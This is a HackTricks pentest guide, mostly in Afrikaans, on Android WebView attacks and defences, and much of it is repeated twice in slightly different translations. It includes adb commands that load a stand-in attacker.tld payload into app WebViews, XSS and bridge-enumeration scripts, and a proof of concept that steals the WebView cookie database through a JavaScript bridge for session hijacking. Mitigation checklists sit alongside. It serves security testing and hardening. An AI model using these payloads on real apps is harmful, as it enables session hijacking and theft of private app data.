WebView Aanvalle

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Gids oor WebView-konfigurasies en Sekuriteit

Oorsig van WebView kwesbaarhede

’n Kritieke aspek van Android-ontwikkeling behels die korrekte hantering van WebViews. Hierdie gids beklemtoon sleutelkonfigurasies en sekuriteitspraktyke om risiko’s verbonde aan die gebruik van WebViews te beperk.

WebView Voorbeeld

LĂȘertoegang in WebViews

Standaard laat WebViews lĂȘertoegang toe. Hierdie funksionaliteit word beheer deur die setAllowFileAccess() metode, beskikbaar sedert Android API vlak 3 (Cupcake 1.5). Toepassings met die android.permission.READ_EXTERNAL_STORAGE toestemming kan lĂȘers vanaf eksterne stoorplek lees met behulp van die file URL-skema (file://path/to/file).

Verouderde Funksies: Universal and File Access From URLs

  • Universal Access From File URLs: This deprecated feature allowed cross-origin requests from file URLs, posing a significant security risk due to potential XSS attacks. The default setting is disabled (false) for apps targeting Android Jelly Bean and newer.
  • To check this setting, use getAllowUniversalAccessFromFileURLs().
  • To modify this setting, use setAllowUniversalAccessFromFileURLs(boolean).
  • File Access From File URLs: This feature, also deprecated, controlled access to content from other file scheme URLs. Like universal access, its default is disabled for enhanced security.
  • Use getAllowFileAccessFromFileURLs() to check and setAllowFileAccessFromFileURLs(boolean) to set.

Veilige LĂȘerlaai

Om lĂȘerstelseltoegang uit te skakel terwyl assets en resources steeds beskikbaar bly, word die setAllowFileAccess() metode gebruik. Met Android R en nuwer is die standaardinstelling false.

  • Check with getAllowFileAccess().
  • Enable or disable with setAllowFileAccess(boolean).

WebViewAssetLoader

Die WebViewAssetLoader-klas is die moderne benadering vir die laai van plaaslike lĂȘers. Dit gebruik http(s) URLs om plaaslike assets en resources te bereik, in lyn met die Same-Origin policy, en fasiliteer sodoende CORS-bestuur.

loadUrl

Dit is ’n algemene funksie wat gebruik word om arbitrĂȘre URLs in ’n WebView te laai:

webview.loadUrl("<url here>")

Natuurlik, ’n potensiĂ«le aanvaller mag nooit die URL wat ’n toepassing gaan laai beheer nie.

JavaScript en Intent Scheme hantering

  • JavaScript: Standaard gedeaktiveer in WebViews; dit kan geaktiveer word via setJavaScriptEnabled(). Wees versigtig, want die inskakeling van JavaScript sonder behoorlike beskermingsmaatreĂ«ls kan sekuriteitskwesbaarhede inbring.
  • Intent Scheme: WebViews kan die intent-scheme hanteer, wat potensieel tot exploits kan lei as dit nie versigtig bestuur word nie. ’n Voorbeeld van ’n kwesbaarheid het ’n blootgestelde WebView-parameter “support_url” behels wat misbruik kon word om cross-site scripting (XSS) attacks uit te voer.

Kwetsbare WebView

Eksploitasie-voorbeeld met adb:

adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://example.com/xss.html"

Javascript Bridge

Android bied ’n funksie wat JavaScript in ’n WebView in staat stel om native Android app functions aan te roep. Dit word bereik deur gebruik te maak van die addJavascriptInterface metode, wat JavaScript met inheemse Android-funksionaliteite integreer, genoem ’n WebView JavaScript bridge. Versigtigheid word aanbeveel aangesien hierdie metode alle bladsye binne die WebView toelaat om toegang tot die geregistreerde JavaScript Interface-objek te kry, wat ’n sekuriteitsrisiko inhou as gevoelige inligting deur hierdie interfaces blootgestel word.

  • Uiters versigtigheid is nodig vir apps wat mik op Android-weergawes onder 4.2 weens ’n kwesbaarheid wat remote code execution moontlik maak deur kwaadaardige JavaScript wat reflection uitbuit.

Implementering van ’n JavaScript Bridge

  • JavaScript interfaces kan met inheemse kode kommunikeer, soos in die voorbeelde getoon word waar ’n klassemetode aan JavaScript blootgestel word:
@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
  • JavaScript Bridge word geaktiveer deur ’n interface by die WebView te voeg:
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge")
webView.reload()
  • PotensiĂ«le uitbuiting deur JavaScript, byvoorbeeld via ’n XSS-aanval, maak die aanroep van blootgestelde Java-metodes moontlik:
<script>
alert(javascriptBridge.getSecret())
</script>
  • Om risiko’s te beperk, restrict JavaScript bridge usage tot kode wat met die APK versend is en verhoed die laai van JavaScript vanaf afstandsbronne. Vir ouer toestelle, stel die minimum API level op 17.

Reflection-based Remote Code Execution (RCE)

  • ’n Gedokumenteerde metode maak dit moontlik om RCE deur reflection te bereik deur ’n spesifieke payload uit te voer. Die @JavascriptInterface annotasie verhoed egter ongemagtigde metode-toegang en beperk die aanvaloppervlakte.

Remote Debugging

  • Remote debugging is moontlik met Chrome Developer Tools, wat interaksie en arbitrĂȘre JavaScript-uitvoering binne die WebView-inhoud toelaat.

Enabling Remote Debugging

  • Remote debugging kan vir al die WebViews binne ’n toepassing ingeskakel word deur:
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}
  • Om debugging voorwaardelik aan te skakel gebaseer op die toepassing se debuggable toestand:
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}

Exfiltrate willekeurige lĂȘers

  • Demonstreer die exfiltration van willekeurige lĂȘers deur gebruik te maak van ’n XMLHttpRequest:
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText)
}
}
xhr.open(
"GET",
"file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db",
true
)
xhr.send(null)

WebView Aanvalle

Gids oor WebView-konfigurasies en Sekuriteit

Oorsig van WebView kwesbaarhede

’n Kritieke aspek van Android-ontwikkeling behels die korrekte hantering van WebViews. Hierdie gids beklemtoon sleutelkonfigurasies en sekuriteitspraktyke om die risiko’s verbonde aan die gebruik van WebView te verminder.

WebView Voorbeeld

LĂȘertoegang in WebViews

Per verstek laat WebViews lĂȘertoegang toe. Hierdie funksionaliteit word beheer deur die setAllowFileAccess() metode, beskikbaar sedert Android API-vlak 3 (Cupcake 1.5). Aansoeke met die android.permission.READ_EXTERNAL_STORAGE toestemming kan lĂȘers vanaf eksterne stoorplek lees deur ’n file URL-skema te gebruik (file://path/to/file).

Verouderde Funksies: Universele en LĂȘertoegang vanaf URL’s

  • Universal Access From File URLs: Hierdie verouderde funksie het cross-origin-versoeke vanaf file-URL’s toegelaat, wat ’n beduidende sekuriteitsrisiko inhou weens potensiĂ«le XSS-aanvalle. Die verstekinstelling is gedeaktiveer (false) vir apps wat op Android Jelly Bean en nuwer mik.
  • Om hierdie instelling te kontroleer, gebruik getAllowUniversalAccessFromFileURLs().
  • Om hierdie instelling te verander, gebruik setAllowUniversalAccessFromFileURLs(boolean).
  • File Access From File URLs: Hierdie funksie, ook verouderd, het toegang tot inhoud vanaf ander file-skema-URL’s beheer. Soos universele toegang, is die verstekinstelling gedeaktiveer vir verbeterde sekuriteit.
  • Gebruik getAllowFileAccessFromFileURLs() om te kontroleer en setAllowFileAccessFromFileURLs(boolean) om te stel.

Beveilige lĂȘerlaai

Om lĂȘerstelseltoegang te deaktiveer terwyl assets en hulpbronne steeds toeganklik bly, word die setAllowFileAccess() metode gebruik. Met Android R en hoĂ«r is die verstekinstelling false.

  • Kontroleer met getAllowFileAccess().
  • Skakel aan of af met setAllowFileAccess(boolean).

WebViewAssetLoader

Die WebViewAssetLoader klas is die moderne benadering vir die laai van plaaslike lĂȘers. Dit gebruik http(s)-URL’s om toegang tot plaaslike assets en hulpbronne te kry, wat in lyn is met die Same-Origin-beleid, en sodoende CORS-bestuur vergemaklik.

loadUrl

Dit is ’n algemene funksie wat gebruik word om arbitrĂȘre URL’s in ’n WebView te laai:

webview.loadUrl("<url here>")

Natuurlik, ’n potensiĂ«le attacker moet nooit in staat wees om die URL te beheer wat ’n toepassing gaan laai nie.

Deep-linking na interne WebView (custom scheme → WebView sink)

Baie apps registreer custom schemes/paths wat ’n deur die gebruiker voorsiene URL na ’n in-app WebView routeer. As die deep link geĂ«ksporteer is (VIEW + BROWSABLE), ’n attacker kan die app dwing om arbitrĂȘre remote content binne sy WebView context te render.

Tipiese manifest-patroon (vereenvoudig):

<activity android:name=".MainActivity" android:exported="true">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data android:scheme="myscheme" android:host="com.example.app" />
</intent-filter>
</activity>

Algemene kodevloei (vereenvoudigde):

// Entry activity
@Override
protected void onNewIntent(Intent intent) {
Uri deeplink = intent.getData();
String url = deeplink.getQueryParameter("url"); // attacker-controlled
if (deeplink.getPathSegments().get(0).equals("web")) {
Intent i = new Intent(this, WebActivity.class);
i.putExtra("url", url);
startActivity(i);
}
}

// WebActivity sink
webView.loadUrl(getIntent().getStringExtra("url"));

Aanvalspatroon en PoC via adb:

# Template – force load in internal WebView
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

# If a specific Activity must be targeted
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

Impak: die afgeleë bladsy loop in die app WebView-konteks (cookies/session van die app WebView-profiel, toegang tot enige blootgestelde @JavascriptInterface, potensiële toegang tot content:// en file:// afhangende van instellings).

Jagwenke:

  • Grep dekompileerde bronne vir getQueryParameter("url"), loadUrl(, WebView sinks, en deep-link handlers (onCreate/onNewIntent).
  • Kontroleer die manifest vir VIEW+BROWSABLE filters en custom schemes/hosts wat na activities map wat later ’n WebView begin.
  • Kyk of daar verskeie deep-link paths is (bv. ‘external browser’ path vs. ‘internal webview’ path) en kies die een wat binne die app gerender word.

JavaScript aktiveer voor verifikasie (order-of-checks bug)

’n Gereelde hardening-fout is om JavaScript te aktiveer of om verslapte WebView-instellings te konfigureer voordat die finale allowlist/verifikasie van die teiken-URL voltooi is. As die verifikasie inkonsekwent is oor helpers of te laat plaasvind, kan ’n aanvaller se deep link ’n toestand bereik waar:

  1. WebView settings apply (e.g., setJavaScriptEnabled(true)), and
  2. The untrusted URL is loaded with JavaScript enabled.

Foutpatroon (pseudokode):

// 1) Parse/early checks
Uri u = parse(intent);
if (!looksValid(u)) return;

// 2) Configure WebView BEFORE final checks
webView.getSettings().setJavaScriptEnabled(true); // BAD: too early
configureMixedContent();

// 3) Do final verification (late)
if (!finalAllowlist(u)) return; // too late – JS already enabled

// 4) Load
webView.loadUrl(u.toString());

Waarom dit uitbuitbaar is

  • Inkonsekwente normalisering: hulpfunksies deel en bou die URL anders op as die finale kontrole, wat wanpassings skep wat ’n kwaadwillige URL kan uitbuit.
  • Verkeerd geordende pyplyn: die skakeling van JS in stap 2 geld globaal vir die WebView-instansie, wat die finale laai beĂŻnvloed selfs al sou die verifikasie later misluk.

Hoe om te toets

  • Skep deep-link payloads wat vroeĂ« kontroles slaag en die WebView-konfigurasieblad bereik.
  • Gebruik adb om implicit VIEW intents te stuur wat url= parameter lewer wat jy beheer:
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

As exploitation suksesvol is, voer jou payload JavaScript uit in die app se WebView. Van daar af, ondersoek vir blootgestelde bridges:

<script>
for (let k in window) {
try { if (typeof window[k] === 'object' || typeof window[k] === 'function') console.log('[JSI]', k); } catch(e){}
}
</script>

Defensive guidance

  • Kanoniseer een keer; valideer streng teen ’n enkele bron van waarheid (scheme/host/path/query).
  • Roep slegs setJavaScriptEnabled(true) op nadat alle allowlist checks geslaag het en net voordat vertroude inhoud gelaai word.
  • Vermy om @JavascriptInterface bloot te stel aan onbetroubare origins; verkies per-origin gating.
  • Oorweeg per-WebView-instanties vir vertroude vs onbetroubare inhoud, met JS standaard gedeaktiveer.

JavaScript en Intent Scheme-hantering

  • JavaScript: Disabled by default in WebViews, it can be enabled via setJavaScriptEnabled(). Wees versigtig aangesien die aktiveer van JavaScript sonder behoorlike beskerming veiligheidskwesbaarhede kan inbring.
  • Intent Scheme: WebViews can handle the intent scheme, potentially leading to exploits if not carefully managed. ’n Voorbeeldkwesbaarheid het ’n blootgestelde WebView-parameter “support_url” behels wat misbruik kon word om cross-site scripting (XSS) aanvalle uit te voer.

Vulnerable WebView

Eksploitasiervoorbeeld met adb:

adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://example.com/xss.html"

Javascript Bridge

Android bied ’n funksie wat JavaScript in ’n WebView toelaat om native Android app functions aan te roep. Dit word bereik deur die metode addJavascriptInterface te gebruik, wat JavaScript met inheemse Android-funksionaliteit integreer, genoem as ’n WebView JavaScript bridge. Waarskuwing is nodig aangesien hierdie metode alle bladsye binne die WebView toelaat om toegang te kry tot die geregistreerde JavaScript Interface object, wat ’n sekuriteitsrisiko inhou indien sensitiewe inligting deur hierdie interfaces blootgestel word.

  • Uitermate versigtigheid is nodig vir apps wat Android-weergawes onder 4.2 teiken, weens ’n kwesbaarheid wat remote code execution moontlik maak deur kwaadwillige JavaScript wat reflection uitbuit.

Implementing a JavaScript Bridge

  • JavaScript interfaces kan met native code interaksie hĂȘ, soos in die voorbeelde waar ’n klassemetode aan JavaScript blootgestel word:
@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
  • JavaScript Bridge word geaktiveer deur ’n koppelvlak by die WebView te voeg:
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge")
webView.reload()
  • PotensiĂ«le uitbuiting deur JavaScript, byvoorbeeld via ’n XSS attack, maak dit moontlik om blootgestelde Java methods aan te roep:
<script>
alert(javascriptBridge.getSecret())
</script>
  • Om risiko’s te beperk, restrict JavaScript bridge usage tot kode wat saam met die APK verskaf word en voorkom die laai van JavaScript vanaf afgeleĂ« bronne. Vir ouer toestelle, stel die minimum API-vlak op 17.

Abusing dispatcher-style JS bridges (invokeMethod/handlerName)

’n Algemene patroon is ’n enkele geĂ«ksporteerde metode (bv. @JavascriptInterface void invokeMethod(String json)) wat deur die aanvaller beheerde JSON deserialiseer na ’n generiese objek en dit stuur op grond van ’n verskafde handler-naam. Tipiese JSON-struktuur:

{
"handlerName": "toBase64",
"callbackId": "cb_12345",
"asyncExecute": "true",
"data": { /* handler-specific fields */ }
}

Risiko: as enige geregistreerde handler bevoorregte aksies op data van die aanvaller uitvoer (bv. direkte lĂȘerlees), kan jy dit aanroep deur handlerName ooreenkomstig te stel. Resultate word gewoonlik terug in die bladsykonteks geplaas via evaluateJavascript en ’n callback/promise-meganisme gesleutel op callbackId.

Belangrike opsporingsstappe

  • Decompile en grep vir addJavascriptInterface( om die bridge-objeknaam te vind (bv. xbridge).
  • In Chrome DevTools (chrome://inspect), tik die bridge-objeknaam in die Console (bv. xbridge) om blootgestelde velde/metodes te enumereer; kyk vir ’n generiese dispatcher soos invokeMethod.
  • Enumereer handlers deur te soek na klasse wat getModuleName() implementeer of registrasiemappe.

Arbitrary file read via URI → File sinks (Base64 exfiltration)

As ’n handler ’n URI neem, Uri.parse(req.getUri()).getPath() aanroep, new File(...) bou en dit lees sonder toelaatlyste of sandbox-kontroles, kry jy ’n arbitrary file read in die app sandbox wat WebView-instellings soos setAllowFileAccess(false) omseil (die lees gebeur in native kode, nie via die WebView network stack nie).

PoC to exfiltrate the Chromium WebView cookie DB (session hijack):

// Minimal callback sink so native can deliver the response
window.WebViewJavascriptBridge = {
_handleMessageFromObjC: function (data) { console.log(data) }
};

const payload = JSON.stringify({
handlerName: 'toBase64',
callbackId: 'cb_' + Date.now(),
data: { uri: 'file:///data/data/<pkg>/app_webview/Default/Cookies' }
});

xbridge.invokeMethod(payload);

Notes

  • Cookie DB paths vary across devices/providers. Common ones:
  • file:///data/data/<pkg>/app_webview/Default/Cookies
  • file:///data/data/<pkg>/app_webview_<pkg>/Default/Cookies
  • The handler returns Base64; decode to recover cookies and impersonate the user in the app’s WebView profile.

Detection tips

  • Watch for large Base64 strings returned via evaluateJavascript when using the app.
  • Grep decompiled sources for handlers that accept uri/path and convert them to new File(...).

Bypassing WebView privilege gates – endsWith() host checks

Privilege decisions (selecting a JSB-enabled Activity) often rely on host allowlists. A flawed pattern is:

String host = Uri.parse(url).getHost();
boolean z = true;
if (!host.endsWith(".trusted.com")) {
if (!".trusted.com".endsWith(host)) {
z = false;
}
}
// z==true → open privileged WebView

Gelykwaardige logika (De Morgan se):

boolean z = host.endsWith(".trusted.com") ||
".trusted.com".endsWith(host);

Dit is nie ’n origin check nie. Baie onbedoelde hosts voldoen aan die tweede klousule en laat onbetroubare domains toe in die privileged Activity. Verifieer altyd scheme en host teen ’n streng allowlist (exact match of ’n korrekte subdomain check met dot-boundaries), nie endsWith truuks nie.

javascript:// execution primitive via loadUrl

Sodra ’n app binne ’n privileged WebView is, voer dit soms inline JS uit via:

webView.loadUrl("javascript:" + jsPayload);

As ’n interne vloei loadUrl("javascript:...") in daardie konteks aktiveer, voer ingesette JS uit met bridge-toegang selfs al sou die eksterne bladsy dit normaalweg nie toelaat nie. Pentest-stappe:

  • Gebruik grep om na loadUrl("javascript: en evaluateJavascript( in die app te soek.
  • Probeer daardie codepaaie bereik nadat jy navigasie na die bevoorregte WebView geforseer het (bv. via ’n permissiewe deep link-kiezer).
  • Gebruik die primitive om die dispatcher (xbridge.invokeMethod(...)) aan te roep en sensitiewe handlers te bereik.

Mitigations (developer checklist)

  • Strict origin verification for privileged Activities: kanoniseer en vergelyk scheme/host teen ’n eksplisiete allowlist; vermy endsWith-gebaseerde kontroles. Oorweeg Digital Asset Links waar toepaslik.
  • Scope bridges to trusted pages only and re-check trust on every call (per-oproep verifikasie).
  • Remove or tightly guard filesystem-capable handlers; prefer content:// with allowlists/permissions over raw file:// paths.
  • Avoid loadUrl("javascript:") in privileged contexts or gate it behind strong checks.
  • Remember setAllowFileAccess(false) doesn’t protect against native file reads via the bridge.

JSB-ontleding en foutsporingwenke

  • Skakel WebView remote debugging aan om die Chrome DevTools Console te gebruik:
  • App-kant (debug builds): WebView.setWebContentsDebuggingEnabled(true)
  • Stelsel-kant: modules soos LSPosed of Frida-skripte kan debugging afdwing selfs in release builds. Example Frida snippet for Cordova WebViews: cordova enable webview debugging
  • In DevTools, tik die bridge-objectnaam (bv. xbridge) om blootgestelde lede te sien en die dispatcher te ondersoek.

Reflection-based Remote Code Execution (RCE)

  • ’n Gedokumenteerde metode maak dit moontlik om RCE deur refleksie te bereik deur ’n spesifieke payload uit te voer. Die @JavascriptInterface-annotasie verhoed egter ongemagtigde metode-toegang en beperk die aanval-oppervlak.

Remote Debugging

  • Remote debugging is moontlik met Chrome Developer Tools, wat interaksie en arbitrĂȘre JavaScript-uitvoering binne die WebView-inhoud moontlik maak.

Enabling Remote Debugging

  • Remote debugging kan vir alle WebViews binne ’n toepassing aangeskakel word deur:
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}
  • Om debugging voorwaardelik te aktiveer gebaseer op die toepassing se debuggable state:
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}

Exfiltrate willekeurige lĂȘers

  • Demonstreer die exfiltration van willekeurige lĂȘers met behulp van ’n XMLHttpRequest:
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText)
}
}
xhr.open(
"GET",
"file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db",
true
)
xhr.send(null)

WebView XSS via Intent extras → loadData()

’n Gereelde kwesbaarheid is om deur ’n aanvaller beheerde data uit ’n inkomende Intent-extra te lees en dit direk in ’n WebView deur middel van loadData() te laai terwyl JavaScript aangeskakel is.

Kwetsbare patroon (exported Activity lees die extra en vertoon dit as HTML):

String data = getIntent().getStringExtra("data");
if (data == null) { data = "Guest"; }
WebView webView = findViewById(R.id.webview);
webView.getSettings().setJavaScriptEnabled(true);
webView.setWebChromeClient(new WebChromeClient());
String userInput = "\n\n# Welcome\n\n" + "\n\n" + data + "\n\n";
webView.loadData(userInput, "text/html", "UTF-8");

As daardie Activity exported is (of deur ’n exported proxy bereikbaar), kan ’n kwaadwillige app HTML/JS in die data extra voorsien om reflected XSS te bewerkstellig:

# Replace package/component with the vulnerable Activity
adb shell am start -n com.victim/.ExportedWebViewActivity --es data '<img src=x onerror="alert(1)">'

Impak

  • Willekeurige JS in die app se WebView-konteks: tel/en gebruik @JavascriptInterface bridges, toegang tot WebView cookies/local storage, pivot na file:// of content:// afhangend van instellings.

Mitigeringe

  • Behandel alle Intent-afgeleide invoer as onbetroubaar. Ontsnap (Html.escapeHtml) of verwerp HTML; verkies om onbetroubare teks as gewone teks te render, nie as HTML nie.
  • Hou JavaScript gedeaktiveer tensy dit absoluut nodig is; moenie WebChromeClient vir onbetroubare inhoud aanskakel nie.
  • As jy templated HTML moet render, gebruik loadDataWithBaseURL() met ’n veilige basis en CSP; skei vertroude/untrusted WebViews.
  • Vermy om die Activity eksterne bloot te stel of beskerm dit met permissions wanneer dit nie nodig is nie.

Verwante

References

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks